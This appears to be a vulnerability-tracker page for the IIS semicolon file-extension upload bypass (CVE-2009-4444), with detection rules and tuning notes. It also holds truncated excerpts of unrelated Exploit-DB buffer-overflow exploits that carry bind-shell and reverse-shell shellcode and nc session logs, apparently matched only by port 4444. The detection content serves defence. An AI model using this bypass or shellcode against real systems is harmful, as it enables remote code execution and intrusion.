CVE-2009-4444
published 2009-12-29CVE-2009-4444: Microsoft Internet Information Services (IIS) 5.x and 6.x uses only the portion of a filename before a ; (semicolon) character to determine the file extension…
PriorityP343medium6CVSS 2.0
AVNACMAuSCPIPAP
EPSS
63.63%
99.1th percentile
Microsoft Internet Information Services (IIS) 5.x and 6.x uses only the portion of a filename before a ; (semicolon) character to determine the file extension, which allows remote attackers to bypass intended extension restrictions of third-party upload applications via a filename with a (1) .asp, (2) .cer, or (3) .asa first extension, followed by a semicolon and a safe extension, as demonstrated by the use of asp.dll to handle a .asp;.jpg file.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | internet_information_services | — | — |
| microsoft | internet_information_services | — | — |
Detection & IOCsextracted from sources · hover to see the quote
filename.asp;.jpg
snort
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .asp Filename Extension Parsing File Upload Security Bypass Attempt (asp)"; flow:established,to_server; http.uri; content:".asp|3B 2E|"; nocase; reference:url,www.securityfocus.com/bid/37460/info; reference:url,www.securityfocus.com/bid/37460/info; reference:url,soroush.secproject.com/downloadable/iis-semicolon-report.pdf; reference:cve,2009-4444; classtype:web-application-attack; sid:2010592; rev:9; metadata:created_at 2010_07_30, cve CVE_2009_4444, confidence Medium, signature_severity Major, updated_at 2020_08_20;)
snort
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .aspx Filename Extension Parsing File Upload Security Bypass Attempt (aspx)"; flow:established,to_server; http.uri; content:".aspx|3B 2E|"; nocase; reference:url,www.securityfocus.com/bid/37460/info; reference:url,www.securityfocus.com/bid/37460/info; reference:url,soroush.secproject.com/downloadable/iis-semicolon-report.pdf; reference:cve,2009-4444; classtype:web-application-attack; sid:2010593; rev:10; metadata:created_at 2010_07_30, cve CVE_2009_4444, confidence Medium, signature_severity Major, updated_at 2020_09_14;)
bytes
.asp|3B 2E|
bytes
.aspx|3B 2E|
- →Detect HTTP requests to IIS servers where the URI contains a semicolon-delimited double extension pattern (e.g., .asp;.jpg, .cer;.jpg, .asa;.jpg). IIS parses only the portion before the semicolon as the file extension, causing asp.dll to execute the file. ↗
- →Inspect HTTP URI for the byte sequence 0x3B 0x2E (semicolon followed by a dot) immediately after a dangerous extension (.asp, .aspx, .cer, .asa) — this is the canonical bypass pattern used in upload exploitation.
- →Focus detection on inbound HTTP POST requests (file uploads) to_server where the filename in the URI or multipart body contains the semicolon bypass pattern, as the attack vector is third-party upload applications on IIS.
- ·The bypass affects IIS 5.x and 6.x only. The semicolon extension-truncation behavior is a server-side parsing quirk specific to these versions; later IIS versions are not confirmed affected. ↗
- ·The vulnerability is exploitable only when a third-party upload application (not IIS itself) enforces extension restrictions — IIS will still execute the file as ASP/ASPX/ASA/CER regardless of the suffix after the semicolon. ↗
- ·Snort/Suricata rules (ET SID 2010592/2010593) carry only 'Medium' confidence metadata, meaning they may produce false positives on legitimate URIs containing semicolons; tune accordingly.
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Suricata
ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .asp Filename Extension Parsing File Upload Security Bypass Attempt (asp)
suricata·2010-07-30
CVE-2009-4444 ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .asp Filename Extension Parsing File Upload Security Bypass Attempt (asp)
ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .asp Filename Extension Parsing File Upload Security Bypass Attempt (asp)
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .asp Filename Extension Parsing File Upload Security Bypass Attempt (asp)"; flow:established,to_server; http.uri; content:".asp|3B 2E|"; nocase; reference:url,www.securityfocus.com/bid/37460/info; reference:url,www.securityfocus.com/bid/37460/info; reference:url,soroush.secproject.com/downloadable/iis-semicolon-report.pdf; reference:cve,2009-4444; classtype:web-application-attack; sid:2010592; rev:9; metadata:created_at 2010_07_30, cve CVE_2009_4444, confidence Medium, signature_severity Major, updated_at 2020_08_20;)
Suricata
ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .aspx Filename Extension Parsing File Upload Security Bypass Attempt (aspx)
suricata·2010-07-30
CVE-2009-4444 ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .aspx Filename Extension Parsing File Upload Security Bypass Attempt (aspx)
ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .aspx Filename Extension Parsing File Upload Security Bypass Attempt (aspx)
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Possible Microsoft Internet Information Services (IIS) .aspx Filename Extension Parsing File Upload Security Bypass Attempt (aspx)"; flow:established,to_server; http.uri; content:".aspx|3B 2E|"; nocase; reference:url,www.securityfocus.com/bid/37460/info; reference:url,www.securityfocus.com/bid/37460/info; reference:url,soroush.secproject.com/downloadable/iis-semicolon-report.pdf; reference:cve,2009-4444; classtype:web-application-attack; sid:2010593; rev:10; metadata:created_at 2010_07_30, cve CVE_2009_4444, confidence Medium, signature_severity Major, updated_at 2020_09_
Exploit-DB
Konica Minolta FTP Utility 1.00 - CWD Command Overflow (SEH)
exploitdb·2016-01-11
CVE-2015-7768 Konica Minolta FTP Utility 1.00 - CWD Command Overflow (SEH)
Konica Minolta FTP Utility 1.00 - CWD Command Overflow (SEH)
---
# Title: Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow.
# Date : 01/08/2016
# Author: TOMIWA.
# Software link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Software: Konica Minolta FTP Utility v1.0
# Tested: Windows 7 SP1 64bits
# Listen for a reverse netcat connection on port 4444
# root@kali:~# nc -nlvp 4444
# listening on [any] 4444 ...
# connect to [192.168.0.11] from (UNKNOWN) [192.168.0.109] 49158
# Microsoft Windows [Version 6.1.7601]
# Copyright (c) 2009 Microsoft Corporation. All rights reserved.
# C:\Program Files (x86)\KONICA MINOLTA\FTP Utility>
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A
Exploit-DB
Mini-stream Ripper 3.0.1.1 - '.pls' Universal Local Buffer Overflow
exploitdb·2009-12-27
CVE-2009-5109 Mini-stream Ripper 3.0.1.1 - '.pls' Universal Local Buffer Overflow
Mini-stream Ripper 3.0.1.1 - '.pls' Universal Local Buffer Overflow
---
/*
riptheministreamripper.c
Mini-stream ripper => 3.0.1.1 (.pls) Local Universal Buffer Overflow Exploit
exploited by: mr_me
Greetz to the Corelan Security Team: corelanc0d3r, rick, edi, dellnull, marko T, phifli, corelanc0d3r
Visit: corelanc0d3r's blog http://www.corelan.be:8800/
reference: http://www.exploit-db.com/exploits/10646
Download: http://mini-stream.net/
Tested on: Windows XP sp3
Note: *** For educational purposes only ***
usage:
Compile and execute to create the .pls file and upload it to your favourite server.
Then click on 'LOAD' and then 'URL'. Enter the evil URL, BAM you win.
mrme@backtrack:~$ nc -v 192.168.2.5 4444
192.168.2.5: inverse host lookup failed: Unknown server error : Connection timed
Exploit-DB
PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow
exploitdb·2009-12-05
CVE-2009-4265 PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow
PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow
---
#!/usr/bin/env python
#################################################################
#
# IDEAL Administration 2009 v9.7 Local Buffer Overflow Exploit
# Found By: Dr_IDE
# Usage: Migrate -> Open Migration Project -> Bind Shell
# Download: www.pointdev.com
# Tested On: Windows XPSP3
#
#################################################################
# windows/shell_bind_tcp - 696 bytes Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444
sc = (
"\x89\xe2\xdb\xcc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x4b\x4c\x42\x4a\x4a\x4b\x5
Exploit-DB
Eureka Email Client - Remote Buffer Overflow
exploitdb·2009-11-26
CVE-2009-3837 Eureka Email Client - Remote Buffer Overflow
Eureka Email Client - Remote Buffer Overflow
---
#!/usr/bin/env python
# Found By: Francis Provencher {PRL}
# Tested On: Windows XPSP3 English
# Note: This script sets up a fake SMTP server
# Note: Set the client to this address and check your mail
##########################################################
import sys, socket
# egghunter (32 bytes)
egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" # this is the egg: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=thread, LPORT=4444
bindshell = ("\xbb\xd3\x82\x28\x36\xd9\xc6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x5e\x0f\x03\x5e\xdc\x60\xdd\xca\x0a\xed"
"\x1e
Exploit-DB
Serenity Audio Player Playlist - '.m3u' Local Buffer Overflow
exploitdb·2009-11-25
CVE-2009-4097 Serenity Audio Player Playlist - '.m3u' Local Buffer Overflow
Serenity Audio Player Playlist - '.m3u' Local Buffer Overflow
---
#!/usr/bin/python
#
# ######################################################################
#
# Exploit Title : Serenity Audio Player Playlist (.m3u) BOF
# Discovered by : Rick from Corelan Team (ricks2600[at]gmail[dot]com)
# Author : mr_me
# Author contact : seeleymagic[at]hotmail[dot]com
# Date : nov 24th, 2009
# Type : local and remote code execution
# OS : Windows XP sp3
# Product : Serenity Audio Player
# Version :
# windows/shell_reverse_tcp - 287 bytes
# http://www.metasploit.com
# LHOST=192.168.2.14, EXITFUNC=seh, LPORT=4444
sc =(
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
"\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" +
"\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" +
"
Exploit-DB
Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Universal Buffer Overflow
exploitdb·2009-11-16
CVE-2009-2685 Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Universal Buffer Overflow
Hewlett-Packard (HP) Power Manager Administration Power Manager Administration - Universal Buffer Overflow
---
#!/usr/bin/python
# HP Power Manager Administration Universal Buffer Overflow Exploit
# CVE 2009-2685
# Tested on Win2k3 Ent SP2 English, Win XP Sp2 English
# Matteo Memelli ryujin __A-T__ offensive-security.com
# www.offensive-security.com
# Spaghetti & Pwnsauce - 07/11/2009
#
# ryujin@bt:~$ ./hppowermanager.py 172.16.30.203
# HP Power Manager Administration Universal Buffer Overflow Exploit
# ryujin __A-T__ offensive-security.com
# [+] Sending evil buffer...
# HTTP/1.0 200 OK
# [+] Done!
# [*] Check your shell at 172.16.30.203:4444 , can take up to 1 min to spawn your shell
# ryujin@bt:~$ nc -v 172.16.30.203 4444
# 172.16.30.203: inverse host lookup failed: Unknown server erro
Exploit-DB
BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)
exploitdb·2009-09-15
CVE-2009-4660 BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)
BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)
---
#!/usr/bin/python
# BigAnt Server version 2.50 SEH Overwrite - 0day
# Written and discovered by Blake
# Tested on Windows XP SP3
#
# $ ./bigant.py 192.168.1.131 6660
#
# [*] BigAnt Server v2.50 SEH Overwrite 0day
# [*] Written and discovered by Blake
# [*] Tested on Windows XP SP3
#
# [+] Connecting to 192.168.1.131 on port 6660
# [+] Sending payload
# [+] Connect to bind shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\WINDOWS\system32>
import socket, sys
if len(sys.argv)!= 3:
print "\n[*] Usage: %s \n" % sys.argv[0]
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2]) # port 6660 by default
# windows/shell_bind_tcp - 696 bytes Encoder:
Exploit-DB
FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)
exploitdb·2009-09-09
CVE-2009-3364 FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)
FTPShell Client 4.1 RC2 - Remote Buffer Overflow (Universal)
---
#!/usr/bin/python
# _ _ _ __ _ _ _
#| || | (_) ___ / \ | |__ | | |
#| __ | | | (_-
from socket import *
import os
import time
# win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
stage2 =(
"\x44\x7A\x32\x37\x44\x7A\x32\x37"
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e"
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x38"
"\x4e\x46\x46\x42\x46\x32\x4b\x48\x45\x34\x4e\x43\x4b\x58\x4e\x57"
Exploit-DB
Audio Lib Player - '.m3u' Local Buffer Overflow (SEH)
exploitdb·2009-09-09
CVE-2009-3221 Audio Lib Player - '.m3u' Local Buffer Overflow (SEH)
Audio Lib Player - '.m3u' Local Buffer Overflow (SEH)
---
# Audio Lib Player m3u SEH overwrite
# product: http://www.toocharger.com/telecharger/logiciels/audio-lib-player/19056.htm
# Usage: Create playlist, load exploit.m3u and connect to shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\blake\Desktop\ALP>
import sys
print "\n[*] Audio Lib Player m3u SEH Overwrite"
print "[*] Written by Blake"
print "[*] Tested on Windows XP SP3\n"
# windows/shell_bind_tcp - 695 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\
Exploit-DB
Microsoft IIS 5.0 FTP Server (Windows 2000 SP4) - Remote Stack Overflow
exploitdb·2009-09-01
CVE-2009-3023 Microsoft IIS 5.0 FTP Server (Windows 2000 SP4) - Remote Stack Overflow
Microsoft IIS 5.0 FTP Server (Windows 2000 SP4) - Remote Stack Overflow
---
#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# Modded by muts, additional egghunter added for secondary larger payload
# Might take a minute or two for the egg to be found.
# Opens bind shell on port 4444
# http://www.offensive-security.com/0day/msftp.pl.txt
use IO::Socket;
$|=1;
$sc = "\x89\xe2\xdd\xc5\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" .
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" .
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" .
"\x50\x38\x41\x43\x4a\x4a\x49\x45\x
Exploit-DB
Media Jukebox 8 - '.pls' Universal Local Buffer (SEH)
exploitdb·2009-08-31
CVE-2009-2650 Media Jukebox 8 - '.pls' Universal Local Buffer (SEH)
Media Jukebox 8 - '.pls' Universal Local Buffer (SEH)
---
#!/usr/bin/python
#
# ######################################################################
#
# Media Jukebox 8 (.pls) Universal Local Buffer Exploit (SEH)
# Author: mr_me
# Download: http://download.chip.eu/en/Media-Jukebox-8.0.400_76134.html
# Note: we needed a header to trigger this one ;)
# Tested on: Wind0ws XP and Vist@
# Greetz: offensive-security, I tried harder :)
#
# ######################################################################
#
# msf exploit(handler) > exploit
#
# [*] Handler binding to LHOST 0.0.0.0
# [*] Started reverse handler
# [*] Starting the payload handler...
# [*] Sending stage (474 bytes)
# [*] Command shell session 3 opened (192.168.0.2:4444 -> 192.168.0.4:1246)
#
# Microsoft Windows XP [Version 5.
Exploit-DB
PIPL 2.5.0 - '.m3u' Universal Buffer Overflow (SEH)
exploitdb·2009-08-28
CVE-2009-2934 PIPL 2.5.0 - '.m3u' Universal Buffer Overflow (SEH)
PIPL 2.5.0 - '.m3u' Universal Buffer Overflow (SEH)
---
#!/usr/bin/python
#
#############################################################
# PIPL
#
print "[+] Pipl 2.5.0 local exploit"
bof="\x41" * 4108
nsh="\xEB\x06\x90\x90"
seh="\x17\x07\x01\x10" #xaudio.dll ppr
nops="\x90" * 20
# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
# http://metasploit.com */
sc = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
"\x4e\x
Exploit-DB
Tuniac 090517c - '.m3u' Local File Crash (PoC)
exploitdb·2009-08-05
CVE-2009-4867 Tuniac 090517c - '.m3u' Local File Crash (PoC)
Tuniac 090517c - '.m3u' Local File Crash (PoC)
---
#!/usr/bin/env python
##############################################################################################
#
# Tuniac v.090517c (.M3U) Crash PoC
# Found By: Dr_IDE
# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download
# Notes: Not sure if code execution is possible though. Maybe someone else can finish it off.
#
##############################################################################################
# Play around here, anything seems to knock it out.
buffer = ("http://" + "\x41" * (4444));
f = open('Dr_IDE.M3U','w');
f.write(buffer);
f.close();
# milw0rm.com [2009-08-05]
No writeups or analysis indexed.
http://blogs.technet.com/msrc/archive/2009/12/27/new-reports-of-a-vulnerability-in-iis.aspxhttp://secunia.com/advisories/37831http://securitytracker.com/id?1023387http://soroush.secproject.com/downloadable/iis-semicolon-report.pdfhttp://www.securityfocus.com/bid/37460http://www.vupen.com/english/advisories/2009/3634http://blogs.technet.com/msrc/archive/2009/12/27/new-reports-of-a-vulnerability-in-iis.aspxhttp://secunia.com/advisories/37831http://securitytracker.com/id?1023387http://soroush.secproject.com/downloadable/iis-semicolon-report.pdfhttp://www.securityfocus.com/bid/37460http://www.vupen.com/english/advisories/2009/3634
2009-12-29
Published